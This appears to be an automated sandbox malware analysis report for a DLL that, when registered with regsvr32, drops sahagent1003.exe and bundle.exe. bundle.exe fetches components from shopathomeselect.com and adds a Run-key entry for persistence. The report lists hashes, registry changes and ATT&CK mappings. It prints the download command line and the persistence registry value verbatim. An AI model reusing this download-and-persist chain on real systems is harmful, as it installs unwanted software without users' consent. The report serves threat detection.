bb14e2647c19bc26b2cbaa537795aaa9cb0c3959cadfc6c78564d3603714cb86

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
19-03-2024 08:39

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General

Target

d5ae71e6109ad99590a2b3ec2d2f55d7.dll
Size

96KB
MD5

d5ae71e6109ad99590a2b3ec2d2f55d7
SHA1

5e1088bdcd5eca984f6546296aaae41b6180b66d
SHA256

bb14e2647c19bc26b2cbaa537795aaa9cb0c3959cadfc6c78564d3603714cb86
SHA512

394f03eb0ffd879d8d8fa56825b934e67e103d756ce0f71f08f7c9bd464a20e2dbc3681c9b050b229620245f3b4510fc2aeea6c31c958f282a5ebf04c362c5dc
SSDEEP

1536:IflEc8naP2D22/muSD6d68BrJOx2LednhYxN0CcjwwDvx:I5g22/dBrJOMLkOf+N7x

Score

7^/10

persistence

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3120	sahagent1003.exe
4772	bundle.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\SAHBundle = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bundle.exe"	bundle.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\sahagent1003.exe	regsvr32.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\ = "exe_in_dll 1.0 Type Library"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\0\win32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\HELPDIR	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\FLAGS	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\FLAGS\ = "0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\0	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\d5ae71e6109ad99590a2b3ec2d2f55d7.dll"	regsvr32.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4812 wrote to memory of 3216	4812	regsvr32.exe	94
PID 4812 wrote to memory of 3216	4812	regsvr32.exe	94
PID 4812 wrote to memory of 3216	4812	regsvr32.exe	94
PID 3216 wrote to memory of 3120	3216	regsvr32.exe	102
PID 3216 wrote to memory of 3120	3216	regsvr32.exe	102
PID 3216 wrote to memory of 3120	3216	regsvr32.exe	102
PID 3120 wrote to memory of 4772	3120	sahagent1003.exe	103
PID 3120 wrote to memory of 4772	3120	sahagent1003.exe	103
PID 3120 wrote to memory of 4772	3120	sahagent1003.exe	103

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\d5ae71e6109ad99590a2b3ec2d2f55d7.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\d5ae71e6109ad99590a2b3ec2d2f55d7.dll
  2⤵
  - Drops file in System32 directory
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3216
- - C:\Windows\SysWOW64\sahagent1003.exe
    "C:\Windows\System32\sahagent1003.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3120
  - - C:\Users\Admin\AppData\Local\Temp\bundle.exe
      "C:\Users\Admin\AppData\Local\Temp\bundle.exe" download1.shopathomeselect.com/agent/mindset1003.sah#bunSetup.cab#download1.shopathomeselect.com/agent/bunSetup.cab#www.shopathomeselect.com/agent/agentprefs.sah
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      PID:4772

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3476 --field-trial-handle=2260,i,3303482231723870786,2954015409682154873,262144 --variations-seed-version /prefetch:8
1⤵
PID:5056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\bundle.exe

Filesize
76KB

MD5
12b77b012ec72a0dfdc311b0f46de641

SHA1
52efa989341f778626da592915048a280c1a305f

SHA256
ab995fdb0470311ffb79b1163e78ad4506fe89881c3fc92994bfc99b2e2351fa

SHA512
9f2cf0e249e1f35aea96e23e5c5f66ef83b321f0519fa0d6a5e73e25ca6977bd4ae3fd9baceba3237b602335a422b96af6e00cabf17a7ba0f7f50dd99b782a1a

Download Submit
C:\Windows\SysWOW64\sahagent1003.exe

Filesize
72KB

MD5
82344899bc34ce448a909f5bb7c56e5c

SHA1
52ec80cdd38415c5d67afee75c46ef3523fb4ceb

SHA256
e12d3e05d4c5f68b1a116c60e6f4c1b3235fdb1a7171e44c05847ccfe3972c44

SHA512
ef5be92a5e85951bb5a64f471d1c9fee1fb644a1716ab147356dd811e284f3567c7e0a7457de1290d0b9ad5ea594ca4c9d670abed4dd2e3e599bc4c5cd069e8b

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads